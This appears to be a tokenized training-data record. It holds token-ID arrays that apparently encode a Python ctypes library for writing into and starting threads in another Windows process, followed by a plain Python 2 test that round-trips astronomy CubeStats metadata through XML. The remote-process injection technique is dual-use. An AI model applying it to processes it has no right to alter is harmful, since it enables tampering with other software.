12, 22692, 8960, 877, 23323, 451, 23632, 1749, 7592, 6835, 29889, 1495, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 361, 14350, 7032, 16015, 29898, 1311, 3032, 29882, 5014, 3383, 365, 9026, 24898, 1367, 29898, 9040, 511, 659, 29892, 18392, 2435, 29892, 501, 29931, 20614, 29918, 29925, 5659, 29898, 29900, 876, 1275, 17131, 29901, 13, 12, 12, 12, 12, 22692, 8960, 877, 23323, 451, 2436, 304, 1749, 7592, 2286, 29889, 1495, 13, 12, 12, 19499, 23125, 2392, 29901, 13, 12, 12, 12, 361, 14350, 7032, 16015, 29898, 1311, 3032, 29882, 5014, 3383, 365, 9026, 24898, 1367, 29898, 9040, 511, 3211, 974, 29898, 791, 511, 18392, 2435, 29892, 501, 29931, 20614, 29918, 29925, 5659, 29898, 29900, 876, 1275, 17131, 29901, 13, 12, 12, 12, 12, 22692, 8960, 877, 23323, 451, 2436, 304, 1749, 7592, 2286, 29889, 1495, 13, 13, 12, 12, 2457, 6835, 13, 13, 12, 1753, 4770, 4804, 12035, 1311, 29892, 334, 5514, 1125, 396, 1855, 12608, 9815, 29936, 23119, 515, 4770, 1514, 1649, 13, 12, 12, 15945, 29908, 921, 17255, 4804, 12035, 11410, 529, 1360, 29958, 921, 29077, 9995, 13, 12, 12, 9891, 7414, 353, 1583, 3032, 9891, 7414, 29918, 13, 12, 12, 2914, 353, 360, 17013, 29898, 29900, 29931, 29897, 565, 451, 756, 5552, 29898, 9891, 7414, 29892, 525, 5060, 668, 1495, 470, 3653, 7414, 29889, 5060, 668, 338, 6213, 1683, 3653, 7414, 29889, 5060, 668, 580, 13, 12, 12, 22833, 9329, 353, 4265, 13, 12, 12, 361, 451, 756, 5552, 29898, 9891, 7414, 29892, 525, 1217, 15956, 1495, 470, 451, 3653, 7414, 29889, 1217, 15956, 29901, 13, 12, 12, 12, 361, 3653, 7414, 29889, 1191, 8768, 338, 451, 6213, 322, 7431, 29898, 9891, 7414, 29889, 1191, 8768, 29897, 1405, 29871, 29900, 29901, 13, 12, 12, 12, 12, 5085, 353, 5159, 13, 12, 12, 12, 12, 1191, 2798, 353, 7431, 29898, 5514, 29897, 13, 12, 12, 12, 12, 1454, 474, 29892, 1852, 1853, 297, 26985, 29898, 9891, 7414, 29889, 1191, 8768, 1125, 13, 12, 12, 12, 12, 12, 1191, 353, 29871, 29900, 13, 12, 12, 12, 12, 12, 361, 474, 6736, 1852, 2798, 29901, 13, 12, 12, 12, 12, 12, 12, 1191, 353, 1852, 1853, 580, 13, 12, 12, 12, 12, 12, 23681, 756, 5552, 29898, 5514, 29961, 29875, 1402, 22868, 1853, 29918, 29374, 13, 12, 12, 12, 12, 12, 12, 361, 901, 29961, 29875, 1822, 29918, 1853, 29918, 1275, 1852, 1853, 29901, 13, 12, 12, 12, 12, 12, 12, 12, 1191, 353, 901, 29961, 29875, 29962, 13, 12, 12, 12, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 12, 12, 12, 1191, 353, 1583, 3032, 791, 517, 1191, 1853, 29898, 1311, 3032, 1767, 974, 29898, 5514, 29961, 29875, 11724, 1852, 1853, 29897, 13, 12, 12, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 12, 12, 1191, 353, 1583, 3032, 791, 517, 1191, 1853, 29898, 5514, 29961, 29875, 1402, 1852, 1853, 29897, 13, 12, 12, 12, 12, 12, 5085, 29889, 4397, 29898, 1191, 29897, 13, 12, 12, 12, 12, 361, 1852, 2798, 1405, 29871, 29896, 29901, 13, 12, 12, 12, 12, 12, 22833, 9329, 353, 903, 4058, 29918, 5085, 10456, 5085, 29897, 13, 12, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 12, 22833, 9329, 353, 6389, 29961, 29900, 29962, 13, 12, 12, 12, 361, 756, 5552, 29898, 22833, 9329, 29892, 22868, 29890, 29918, 26180, 4668, 929, 29918, 1495, 322, 301, 29886, 9329, 3032, 29890, 29918, 26180, 4668, 929, 29918, 1275, 29871, 29896, 322, 6120, 29898, 22833, 9329, 1125, 13, 12, 12, 12, 12, 22833, 9329, 353, 1583, 3032, 15956, 29918, 842, 29918, 1707, 29898, 22833, 9329, 29897, 13, 12, 12, 23681, 7431, 29898, 5514, 29897, 1405, 29871, 29900, 29901, 13, 12, 12, 12, 361, 7431, 29898, 5514, 29897, 1275, 29871, 29896, 29901, 13, 12, 12, 12, 12, 22833, 9329, 353, 4320, 29898, 5514, 29961, 29900, 1402, 274, 29918, 5405, 29918, 29886, 29897, 13, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 29873, 2435, 353, 7431, 29898, 1311, 29889, 1191, 8768, 29897, 565, 756, 5552, 29898, 1311, 29892, 525, 1191, 8768, 1495, 1683, 29871, 29900, 13, 12, 12, 12, 12, 5514, 353, 1051, 29898, 5514, 29897, 13, 12, 12, 12, 12, 1454, 474, 29892, 1852, 297, 26985, 29898, 5514, 1125, 13, 12, 12, 12, 12, 12, 361, 474, 1405, 260, 2435, 29901, 901, 29961, 29875, 29962, 353, 11451, 29906, 312, 668, 29898, 1191, 29897, 13, 12, 12, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 12, 12, 22449, 353, 1583, 29889, 1191, 8768, 29961, 29875, 29962, 13, 12, 12, 12, 12, 12, 12, 361, 2393, 1275, 274, 29918, 3090, 29918, 29886, 29901, 13, 12, 12, 12, 12, 12, 12, 12, 5514, 29961, 29875, 29962, 353, 1653, 29918, 1807, 29918, 9040, 29898, 1191, 29897, 13, 12, 12, 12, 12, 12, 12, 23681, 2393, 1275, 274, 29918, 29893, 3090, 29918, 29886, 29901, 13, 12, 12, 12, 12, 12, 12, 12, 5514, 29961, 29875, 29962, 353, 1653, 29918, 2523, 356, 29918, 9040, 29898, 1191, 29897, 13, 12, 12, 12, 12, 12, 12, 23681, 903, 275, 7414, 29898, 22449, 1125, 13, 12, 12, 12, 12, 12, 12, 12, 5514, 29961, 29875, 29962, 353, 4320, 29898, 1191, 29892, 22449, 29897, 13, 12, 12, 12, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 12, 12, 12, 5514, 29961, 29875, 29962, 353, 1583, 29889, 1191, 8768, 29961, 29875, 850, 1191, 29897, 13, 12, 12, 12, 12, 22833, 9329, 353, 903, 4058, 29918, 5085, 10456, 5514, 29897, 13, 13, 12, 12, 29882, 20224, 4899, 353, 6204, 20224, 4899, 29898, 13, 12, 12, 12, 1311, 3032, 29882, 5014, 3383, 4265, 29918, 1660, 22484, 11937, 29918, 1299, 29911, 3960, 29933, 2692, 2890, 29892, 29871, 29900, 29892, 13, 12, 12, 12, 4384, 29898, 1311, 3032, 10030, 3383, 23671, 4690, 16310, 29918, 25826, 29918, 1672, 2692, 8895, 511, 13, 12, 12, 12, 22833, 9329, 29892, 29871, 29900, 29931, 29892, 491, 999, 29898, 29883, 29918, 352, 549, 29898, 29900, 29931, 876, 13, 12, 12, 29897, 13, 12, 12, 361, 298, 20224, 4899, 1275, 4265, 29901, 13, 12, 12, 12, 361, 756, 5552, 29898, 22833, 9329, 29892, 22868, 29890, 29918, 26180, 4668, 929, 29918, 1495, 322, 301, 29886, 9329, 3032, 29890, 29918, 26180, 4668, 929, 29918, 1275, 29871, 29896, 322, 6120, 29898, 22833, 9329, 1125, 13, 12, 12, 12, 12, 21287, 20475, 1252, 29898, 1311, 3032, 29882, 5014, 3383, 301, 29886, 9329, 29892, 29871, 29900, 29892, 341, 12665, 29918, 14829, 29897, 13, 12, 12, 12, 11123, 13554, 29898, 1311, 3032, 29882, 5014, 19925, 13, 12, 12, 12, 22692, 8892, 2392, 877, 17776, 304, 1369, 1749, 7592, 3244, 29889, 1495, 13, 13, 12, 12, 15716, 2831, 15771, 2061, 29898, 29882, 20224, 4899, 29892, 2672, 29943, 1177, 9094, 29897, 13, 12, 12, 2577, 24365, 3399, 4899, 29898, 29882, 20224, 4899, 29892, 4320, 29898, 1609, 999, 29898, 2914, 511, 23671, 29928, 17013, 876, 13, 12, 12, 11123, 13554, 29898, 29882, 20224, 4899, 29897, 13, 12, 12, 361, 756, 5552, 29898, 22833, 9329, 29892, 22868, 29890, 29918, 26180, 4668, 929, 29918, 1495, 322, 301, 29886, 9329, 3032, 29890, 29918, 26180, 4668, 929, 29918, 1275, 29871, 29896, 322, 6120, 29898, 22833, 9329, 1125, 13, 12, 12, 12, 21287, 20475, 1252, 29898, 1311, 3032, 29882, 5014, 3383, 301, 29886, 9329, 29892, 29871, 29900, 29892, 341, 12665, 29918, 14829, 29897, 13, 12, 12, 2457, 1121, 13, 13, 13, 12, 1753, 4770, 2344, 12035, 1311, 29892, 9210, 29892, 3653, 333, 29892, 364, 12396, 1125, 13, 12, 12, 1311, 3032, 10030, 29918, 353, 9210, 13, 12, 12, 361, 1583, 3032, 15764, 29918, 1275, 903, 29943, 3904, 9207, 4375, 29954, 29918, 29907, 2287, 6154, 29901, 13, 12, 12, 12, 1311, 3032, 9891, 7414, 29918, 353, 17861, 3904, 20014, 29898, 1311, 3032, 5060, 668, 19925, 13, 12, 12, 23681, 1583, 3032, 15764, 29918, 1275, 903, 29943, 3904, 9207, 4375, 29954, 29918, 1254, 12696, 9818, 29901, 13, 12, 12, 12, 1311, 3032, 9891, 7414, 29918, 353, 399, 24065, 3904, 20014, 29898, 1311, 3032, 5060, 668, 19925, 13, 12, 12, 23681, 1583, 3032, 15764, 29918, 1275, 903, 29943, 3904, 9207, 4375, 29954, 29918, 20055, 4690, 1164, 8787, 29901, 13, 12, 12, 12, 1311, 3032, 9891, 7414, 29918, 353, 349, 29979, 29943, 3904, 20014, 29898, 1311, 3032, 5060, 668, 19925, 13, 12, 12, 1311, 3032, 9891, 7414, 29918, 3032, 9891, 29918, 15764, 29918, 353, 1583, 3032, 15764, 29918, 13, 13, 13, 12, 1753, 4770, 5464, 9171, 12035, 1311, 1125, 13, 12, 12, 15945, 29908, 921, 17255, 5464, 9171, 1649, 580, 529, 1360, 29958, 921, 2804, 29871, 29900, 9995, 13, 12, 12, 2457, 1583, 3032, 9891, 7414, 5396, 1649, 5464, 9171, 1649, 580, 13, 13, 12, 1753, 4770, 276, 558, 12035, 1311, 1125, 396, 1855, 12608, 9815, 29936, 23119, 515, 4770, 1514, 1649, 13, 12, 12, 15945, 29908, 921, 17255, 276, 558, 1649, 580, 529, 1360, 29958, 2062, 29898, 29916, 29897, 9995, 13, 12, 12, 2457, 1583, 3032, 9891, 7414, 5396, 1649, 276, 558, 1649, 580, 13, 13, 12, 29992, 6954, 29877, 675, 13, 12, 1753, 903, 5349, 29898, 1311, 29892, 1820, 1125, 736, 1820, 297, 4516, 7373, 29934, 9207, 4661, 12058, 29897, 13, 13, 12, 1753, 4770, 842, 5552, 12035, 1311, 29892, 1820, 29892, 995, 1125, 13, 12, 12, 361, 1583, 3032, 5349, 29898, 1989, 1125, 13, 12, 12, 12, 9136, 7373, 29934, 9207, 4661, 12058, 29892, 1583, 467, 1649, 842, 5552, 12035, 1989, 29892, 995, 29897, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 842, 5552, 29898, 1311, 3032, 9891, 7414, 3383, 1820, 29892, 995, 29897, 13, 13, 12, 1753, 4770, 657, 5552, 12035, 1311, 29892, 1820, 1125, 13, 12, 12, 2457, 2428, 7373, 29934, 9207, 4661, 12058, 29892, 1583, 467, 1649, 657, 5552, 12035, 1989, 29897, 565, 29905, 13, 12, 12, 1311, 3032, 5349, 29898, 1989, 29897, 1683, 29905, 13, 12, 12, 657, 5552, 29898, 1311, 3032, 9891, 7414, 3383, 1820, 29897, 13, 13, 13, 1990, 390, 6530, 2208, 29898, 3318, 1125, 13, 12, 29918, 9891, 29918, 15764, 29918, 353, 903, 29943, 3904, 9207, 4375, 29954, 29918, 29907, 2287, 6154, 13, 12, 29918, 9891, 29918, 5060, 668, 29918, 353, 274, 29918, 524, 13, 12, 29918, 29882, 5014, 29918, 353, 29871, 29900, 13, 12, 29918, 29882, 7097, 29918, 353, 29871, 29900, 13, 12, 29918, 26500, 29918, 353, 6571, 13, 12, 29918, 7692, 2395, 29918, 353, 6571, 13, 13, 12, 1753, 4770, 2344, 12035, 1311, 29892, 1024, 353, 6213, 29892, 23107, 353, 29871, 29900, 29892, 266, 333, 353, 29871, 29900, 29892, 4464, 353, 22236, 29918, 20387, 29892, 4386, 353, 6213, 29892, 671, 29918, 3127, 1217, 353, 7700, 29892, 13, 12, 12, 12, 12, 671, 29918, 4230, 29918, 2704, 353, 7700, 1125, 13, 12, 12, 361, 1024, 338, 6213, 322, 4386, 338, 6213, 29901, 13, 12, 12, 12, 22692, 3852, 2392, 877, 4806, 817, 2845, 263, 1024, 470, 263, 4386, 304, 263, 758, 15638, 22474, 304, 1653, 263, 22474, 5067, 29889, 1495, 13, 12, 12, 23681, 1024, 338, 6213, 29901, 13, 12, 12, 12, 1311, 3032, 978, 353, 3617, 7355, 17020, 29898, 8411, 29897, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 1311, 3032, 978, 353, 1024, 13, 13, 12, 12, 15764, 353, 1583, 3032, 9891, 29918, 15764, 29918, 13, 12, 12, 361, 671, 29918, 3127, 1217, 29901, 13, 12, 12, 12, 15764, 891, 29922, 903, 29943, 3904, 9207, 4375, 29954, 29918, 17171, 29918, 21662, 6632, 13, 12, 12, 361, 671, 29918, 4230, 29918, 2704, 29901, 13, 12, 12, 12, 15764, 891, 29922, 903, 29943, 3904, 9207, 4375, 29954, 29918, 17171, 29918, 4375, 1254, 11432, 13, 13, 12, 12, 1311, 3032, 29882, 7097, 29918, 353, 266, 333, 13, 12, 12, 1631, 29892, 19538, 353, 29871, 29900, 29892, 29871, 29900, 13, 12, 12, 361, 23107, 1275, 29871, 29900, 29901, 13, 12, 12, 12, 3198, 353, 903, 2886, 29918, 3560, 29918, 5014, 580, 13, 12, 12, 12, 361, 1423, 338, 6213, 29901, 13, 12, 12, 12, 12, 22692, 8892, 2392, 877, 17776, 304, 1722, 1749, 3847, 1889, 322, 694, 23107, 6790, 29889, 1495, 13, 12, 12, 12, 1631, 29892, 19538, 353, 1423, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 1631, 29892, 19538, 353, 903, 29890, 1478, 333, 29898, 5935, 29897, 13, 13, 12, 12, 361, 1583, 3032, 29882, 7097, 29918, 1275, 29871, 29900, 29901, 13, 12, 12, 12, 1311, 3032, 29882, 7097, 29918, 353, 19538, 13, 12, 12, 1311, 3032, 29882, 5014, 29918, 353, 4673, 7032, 29898, 8618, 23524, 29918, 29924, 3718, 29892, 17131, 29892, 2930, 29897, 13, 13, 12, 12, 1990, 903, 14400, 12058, 7373, 29934, 9207, 4661, 12058, 1125, 13, 12, 12, 12, 29918, 15764, 29918, 353, 13449, 13, 12, 12, 12, 29918, 5060, 668, 29918, 353, 1583, 3032, 9891, 29918, 5060, 668, 29918, 13, 12, 12, 12, 29918, 29882, 5014, 29918, 353, 1583, 3032, 29882, 5014, 29918, 13, 13, 12, 12, 1311, 3032, 14400, 12058, 353, 903, 14400, 12058, 13, 12, 12, 1311, 3032, 8411, 353, 1583, 17255, 21920, 1649, 580, 13, 12, 12, 361, 1583, 3032, 8411, 1275, 29871, 29900, 29901, 13, 12, 12, 12, 22692, 3852, 2392, 877, 23323, 451, 11658, 596, 3489, 29901, 1273, 29879, 29915, 1273, 1583, 3032, 978, 29897, 13, 13, 12, 12, 1311, 17255, 7323, 5987, 29918, 26500, 1649, 580, 13, 13, 12, 1753, 4770, 21920, 12035, 1311, 1125, 13, 12, 12, 791, 353, 1653, 29918, 2523, 356, 29918, 9040, 29898, 1311, 3032, 978, 29892, 7431, 29898, 1311, 3032, 978, 29897, 718, 29871, 29896, 29897, 13, 12, 12, 9721, 2435, 353, 13810, 29898, 791, 29897, 13, 13, 12, 12, 9040, 353, 19181, 2499, 2029, 1252, 29898, 1311, 3032, 29882, 5014, 3383, 29871, 29900, 29931, 29892, 18392, 2435, 29892, 341, 12665, 29918, 3217, 7428, 1806, 29892, 349, 10461, 29918, 16310, 16365, 29897, 13, 12, 12, 361, 6835, 1275, 4265, 29901, 13, 12, 12, 12, 22692, 8960, 877, 23323, 451, 23632, 1749, 7592, 6835, 29889, 1495, 13, 13, 12, 12, 361, 14350, 7032, 16015, 29898, 1311, 3032, 29882, 5014, 3383, 6835, 29892, 4320, 29898, 791, 29892, 365, 9026, 24898, 1367, 511, 18392, 2435, 29892, 501, 29931, 20614, 29918, 29925, 5659, 29898, 29900, 876, 1275, 17131, 29901, 13, 12, 12, 12, 22692, 8960, 877, 23323, 451, 2436, 304, 1749, 7592, 2286, 29889, 1495, 13, 13, 12, 12, 29882, 20224, 4899, 353, 6204, 20224, 4899, 29898, 13, 12, 12, 12, 1311, 3032, 29882, 5014, 3383, 4265, 29918, 1660, 22484, 11937, 29918, 1299, 29911, 3960, 29933, 2692, 2890, 29892, 29871, 29900, 29892, 13, 12, 12, 12, 29925, 5896, 12284, 29892, 6835, 29892, 29871, 29900, 29931, 29892, 491, 999, 29898, 29883, 29918, 352, 549, 29898, 29900, 29931, 876, 13, 12, 12, 29897, 13, 12, 12, 361, 298, 20224, 4899, 1275, 4265, 29901, 13, 12, 12, 12, 21287, 20475, 1252, 29898, 1311, 3032, 29882, 5014, 3383, 6835, 29892, 29871, 29900, 29892, 341, 12665, 29918, 14829, 29897, 13, 12, 12, 12, 11123, 13554, 29898, 1311, 3032, 29882, 5014, 19925, 13, 12, 12, 12, 22692, 8892, 2392, 877, 17776, 304, 1369, 1749, 7592, 3244, 29889, 1495, 13, 12, 12, 15716, 2831, 15771, 2061, 29898, 29882, 20224, 4899, 29892, 2672, 29943, 1177, 9094, 29897, 13, 13, 12, 12, 2914, 353, 274, 29918, 352, 549, 29898, 29900, 29897, 13, 12, 12, 2577, 24365, 3399, 4899, 29898, 29882, 20224, 4899, 29892, 491, 999, 29898, 2914, 876, 13, 12, 12, 11123, 13554, 29898, 29882, 20224, 4899, 29897, 13, 12, 12, 21287, 20475, 1252, 29898, 1311, 3032, 29882, 5014, 3383, 6835, 29892, 29871, 29900, 29892, 341, 12665, 29918, 14829, 29897, 13, 12, 12, 2457, 1121, 29889, 1767, 13, 13, 12, 1753, 4770, 7323, 5987, 29918, 26500, 12035, 1311, 1125, 13, 12, 12, 361, 7431, 29898, 359, 29889, 2084, 29889, 23579, 568, 486, 29898, 1311, 3032, 978, 9601, 29896, 1822, 13609, 3101, 1275, 29871, 29900, 29901, 13, 12, 12, 12, 1311, 3032, 978, 4619, 15300, 12396, 29915, 13, 12, 12, 412, 353, 1236, 1445, 29889, 4162, 29898, 1311, 3032, 978, 29892, 5172, 29918, 1359, 353, 5852, 29897, 13, 12, 12, 20146, 29916, 637, 353, 1236, 29889, 14094, 2725, 1964, 29918, 23252, 1001, 29889, 14573, 29918, 4571, 26282, 18929, 29961, 29900, 29962, 13, 12, 12, 15843, 15975, 29926, 353, 1236, 29889, 5510, 29918, 15843, 29918, 12322, 29898, 20146, 29916, 637, 29889, 21287, 7061, 29892, 2970, 29916, 637, 29889, 3505, 29897, 13, 12, 12, 412, 29889, 5358, 580, 13, 12, 12, 1454, 5609, 297, 5609, 15975, 29926, 29889, 18098, 29879, 29901, 13, 12, 12, 12, 1311, 3032, 26500, 29918, 29961, 15843, 29889, 978, 29962, 17313, 13, 12, 12, 12, 1311, 3032, 26500, 29918, 29961, 15843, 29889, 536, 979, 29962, 17313, 13, 12, 12, 12, 1311, 3032, 8411, 718, 5609, 29889, 7328, 13, 13, 12, 1753, 4770, 276, 558, 12035, 1311, 1125, 13, 12, 12, 2457, 9872, 29995, 29879, 14210, 29879, 742, 4386, 1273, 29916, 472, 1273, 29916, 11903, 1273, 29905, 13, 12, 12, 12, 259, 313, 1311, 17255, 1990, 1649, 17255, 978, 1649, 29892, 1583, 3032, 978, 29892, 13, 12, 12, 12, 12, 29898, 1311, 3032, 8411, 669, 9423, 9675, 29889, 3317, 524, 334, 29871, 29906, 718, 29871, 29896, 8243, 13, 12, 12, 12, 12, 333, 29898, 1311, 29897, 669, 9423, 9675, 29889, 3317, 524, 334, 29871, 29906, 718, 29871, 29896, 876, 13, 13, 12, 1753, 4770, 657, 5552, 12035, 1311, 29892, 1024, 1125, 13, 12, 12, 361, 1024, 29889, 27382, 2541, 877, 1649, 1495, 322, 1024, 29889, 1975, 2541, 877, 1649, 29374, 13, 12, 12, 12, 22692, 23833, 2392, 29898, 978, 29897, 13, 12, 12, 9891, 353, 1583, 17255, 657, 667, 12035, 978, 29897, 13, 12, 12, 9136, 29898, 29934, 6530, 2208, 29892, 1583, 467, 1649, 842, 5552, 12035, 978, 29892, 3653, 29897, 13, 12, 12, 1311, 3032, 7692, 2395, 29918, 29961, 978, 29962, 353, 3653, 13, 12, 12, 29937, 842, 5552, 29898, 1311, 29892, 1024, 29892, 3653, 29897, 13, 12, 12, 2457, 3653, 13, 13, 12, 1753, 4770, 842, 5552, 12035, 1311, 29892, 1820, 29892, 995, 1125, 13, 12, 12, 361, 1820, 297, 1583, 3032, 26500, 5396, 8149, 7295, 13, 12, 12, 12, 1311, 3032, 7692, 2395, 29918, 29961, 1989, 29962, 353, 995, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 9136, 29898, 29934, 6530, 2208, 29892, 1583, 467, 1649, 842, 5552, 12035, 1989, 29892, 995, 29897, 13, 13, 12, 1753, 4770, 657, 667, 12035, 1311, 29892, 1024, 29918, 272, 29918, 536, 979, 1125, 13, 12, 12, 361, 1024, 29918, 272, 29918, 536, 979, 297, 1583, 3032, 7692, 2395, 5396, 8149, 7295, 13, 12, 12, 12, 2457, 1583, 3032, 7692, 2395, 29918, 29961, 978, 29918, 272, 29918, 536, 979, 29962, 13, 12, 12, 536, 979, 353, 338, 8758, 29898, 978, 29918, 272, 29918, 536, 979, 29892, 313, 524, 29892, 1472, 876, 13, 12, 12, 361, 451, 1583, 3032, 26500, 5396, 5349, 29918, 1989, 29898, 978, 29918, 272, 29918, 536, 979, 1125, 13, 12, 12, 12, 361, 4356, 979, 29901, 12020, 3852, 2392, 877, 23323, 451, 1284, 3211, 310, 740, 472, 4356, 979, 29901, 1273, 29881, 29915, 1273, 1024, 29918, 272, 29918, 536, 979, 29897, 13, 12, 12, 12, 2870, 29901, 12020, 3852, 2392, 877, 23323, 451, 1284, 3211, 310, 740, 4257, 29901, 1273, 29879, 29915, 1273, 1024, 29918, 272, 29918, 536, 979, 29897, 13, 12, 12, 9891, 353, 1583, 3032, 14400, 12058, 29898, 1311, 3032, 26500, 29918, 29961, 978, 29918, 272, 29918, 536, 979, 1402, 1024, 29918, 272, 29918, 536, 979, 29892, 1583, 29897, 13, 12, 12, 361, 451, 4356, 979, 29901, 13, 12, 12, 12, 9891, 17255, 978, 1649, 353, 1024, 29918, 272, 29918, 536, 979, 13, 12, 12, 2457, 3653, 13, 13, 1990, 390, 19737, 29928, 2208, 29898, 29934, 6530, 2208, 1125, 13, 12, 15945, 29908, 4013, 770, 11524, 278, 5132, 3489, 3528, 29889, 29871, 739, 6511, 304, 13, 12, 12, 5943, 5132, 3450, 3168, 29889, 29871, 450, 402, 6227, 338, 451, 5492, 29892, 322, 13, 12, 12, 11980, 15283, 526, 16459, 5149, 29889, 13, 12, 12, 15945, 29908, 13, 12, 29918, 9891, 29918, 15764, 29918, 353, 903, 29943, 3904, 9207, 4375, 29954, 29918, 29907, 2287, 6154, 891, 903, 29943, 3904, 9207, 4375, 29954, 29918, 20055, 4690, 1164, 8787, 13, 13, 1990, 390, 17734, 29928, 2208, 29898, 29934, 6530, 2208, 1125, 13, 12, 15945, 29908, 4013, 770, 11524, 263, 24415, 5609, 292, 3168, 773, 278, 13, 12, 12, 12, 7685, 3659, 4804, 5432, 15687, 29889, 13, 12, 12, 12, 15945, 29908, 13, 12, 29918, 9891, 29918, 15764, 29918, 353, 903, 29943, 3904, 9207, 4375, 29954, 29918, 1254, 12696, 9818, 13, 13, 2214, 12396, 353, 9538, 10036, 29898, 29934, 6530, 2208, 29897, 13, 13975, 513, 645, 353, 9538, 10036, 29898, 29934, 17734, 29928, 2208, 29897, 13, 29878, 2272, 12396, 353, 9538, 10036, 29898, 29934, 19737, 29928, 2208, 29897, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 12, 1688, 12396, 353, 390, 6530, 2208, 877, 1688, 12396, 29889, 12396, 1495, 13, 12, 6644, 6646, 353, 1243, 12396, 29889, 6644, 6646, 13, 12, 6644, 6646, 29889, 5060, 668, 353, 6213, 13, 12, 6644, 6646, 29889, 1191, 8768, 353, 5159, 13, 12, 6644, 6646, 580, 13, 12, 1688, 12396, 29889, 15790, 675, 580, 13, 2 ]
admit/xmlio/bdpTest.py
astroumd/admit
4
114652
#! /usr/bin/env python from admit.bdp import * import admit.xmlio.dtdGenerator as dtdGenerator import admit.xmlio.Parser as Parser import numpy as np if __name__ == "__main__" : dtdGenerator.generate() print "Creating initial class" cs = CubeStats.CubeStats() print "Setting initial values" cs.set("project","cx369") cs.set("mous","test") cs.set("sous","test2") cs.set("date","13-09-10") cs.set("UID","123456789") cs.set("xmlFile","cs.225.xml") cs.stats.setData([[1,2,3,4],[5,6,7,8]]) cs.stats.setColumns(["col1","col2","col3","col4"]) print "Writing xml file" cs.write() print "Reading xml file into new class" p = Parser.Parser(None,"cs.225.xml") b = p.parse() print "\n\nComparing classes" print cs.project,b.project if(cs.project == b.project) : print " project OK" print cs.mous,b.mous if(cs.mous == b.mous) : print " mous OK" print cs.sous,b.sous if(cs.sous == b.sous) : print " sous OK" print cs.date,b.date if(cs.date == b.date) : print " date OK" print cs.UID,b.UID if(cs.UID == b.UID) : print " UID OK" print cs.xmlFile,b.xmlFile if(cs.xmlFile == b.xmlFile) : print " xmlFile OK" print cs.stats.columns,b.stats.columns if(cs.stats.columns == b.stats.columns) : print " Columns OK" print cs.stats.data,b.stats.data if((cs.stats.data == b.stats.data).all()) : print " Data OK"
[ 1, 396, 29991, 847, 4855, 29914, 2109, 29914, 6272, 3017, 13, 13, 3166, 20000, 29889, 29890, 6099, 1053, 334, 13, 5215, 20000, 29889, 29916, 29885, 5991, 29889, 29881, 1594, 21575, 408, 270, 1594, 21575, 13, 5215, 20000, 29889, 29916, 29885, 5991, 29889, 11726, 408, 1459, 643, 13, 5215, 12655, 408, 7442, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 29908, 584, 13, 1678, 270, 1594, 21575, 29889, 17158, 580, 13, 268, 13, 1678, 1596, 376, 9832, 1218, 2847, 770, 29908, 13, 1678, 5939, 353, 315, 4003, 25060, 29889, 29907, 4003, 25060, 580, 13, 268, 13, 1678, 1596, 376, 29020, 2847, 1819, 29908, 13, 1678, 5939, 29889, 842, 703, 4836, 3284, 18904, 29941, 29953, 29929, 1159, 13, 1678, 5939, 29889, 842, 703, 29885, 681, 3284, 1688, 1159, 13, 1678, 5939, 29889, 842, 703, 29879, 681, 3284, 1688, 29906, 1159, 13, 1678, 5939, 29889, 842, 703, 1256, 3284, 29896, 29941, 29899, 29900, 29929, 29899, 29896, 29900, 1159, 13, 1678, 5939, 29889, 842, 703, 11150, 3284, 29896, 29906, 29941, 29946, 29945, 29953, 29955, 29947, 29929, 1159, 13, 1678, 5939, 29889, 842, 703, 3134, 2283, 3284, 2395, 29889, 29906, 29906, 29945, 29889, 3134, 1159, 13, 1678, 5939, 29889, 16202, 29889, 842, 1469, 4197, 29961, 29896, 29892, 29906, 29892, 29941, 29892, 29946, 16272, 29945, 29892, 29953, 29892, 29955, 29892, 29947, 24960, 13, 1678, 5939, 29889, 16202, 29889, 842, 14289, 29898, 3366, 1054, 29896, 3284, 1054, 29906, 3284, 1054, 29941, 3284, 1054, 29946, 20068, 13, 268, 13, 1678, 1596, 376, 29956, 768, 292, 4903, 934, 29908, 13, 1678, 5939, 29889, 3539, 580, 13, 268, 13, 1678, 1596, 376, 6359, 292, 4903, 934, 964, 716, 770, 29908, 13, 1678, 282, 353, 1459, 643, 29889, 11726, 29898, 8516, 1699, 2395, 29889, 29906, 29906, 29945, 29889, 3134, 1159, 13, 1678, 289, 353, 282, 29889, 5510, 580, 13, 268, 13, 1678, 1596, 6634, 29876, 29905, 29876, 1523, 862, 292, 4413, 29908, 13, 13, 1678, 1596, 5939, 29889, 4836, 29892, 29890, 29889, 4836, 13, 1678, 565, 29898, 2395, 29889, 4836, 1275, 289, 29889, 4836, 29897, 584, 13, 4706, 1596, 376, 259, 2060, 9280, 29908, 13, 1678, 1596, 5939, 29889, 29885, 681, 29892, 29890, 29889, 29885, 681, 13, 1678, 565, 29898, 2395, 29889, 29885, 681, 1275, 289, 29889, 29885, 681, 29897, 584, 13, 4706, 1596, 376, 259, 286, 681, 9280, 29908, 13, 1678, 1596, 5939, 29889, 29879, 681, 29892, 29890, 29889, 29879, 681, 13, 1678, 565, 29898, 2395, 29889, 29879, 681, 1275, 289, 29889, 29879, 681, 29897, 584, 13, 4706, 1596, 376, 259, 5898, 9280, 29908, 13, 1678, 1596, 5939, 29889, 1256, 29892, 29890, 29889, 1256, 13, 1678, 565, 29898, 2395, 29889, 1256, 1275, 289, 29889, 1256, 29897, 584, 13, 4706, 1596, 376, 259, 2635, 9280, 29908, 13, 1678, 1596, 5939, 29889, 11150, 29892, 29890, 29889, 11150, 13, 1678, 565, 29898, 2395, 29889, 11150, 1275, 289, 29889, 11150, 29897, 584, 13, 4706, 1596, 376, 259, 501, 1367, 9280, 29908, 13, 1678, 1596, 5939, 29889, 3134, 2283, 29892, 29890, 29889, 3134, 2283, 13, 1678, 565, 29898, 2395, 29889, 3134, 2283, 1275, 289, 29889, 3134, 2283, 29897, 584, 13, 4706, 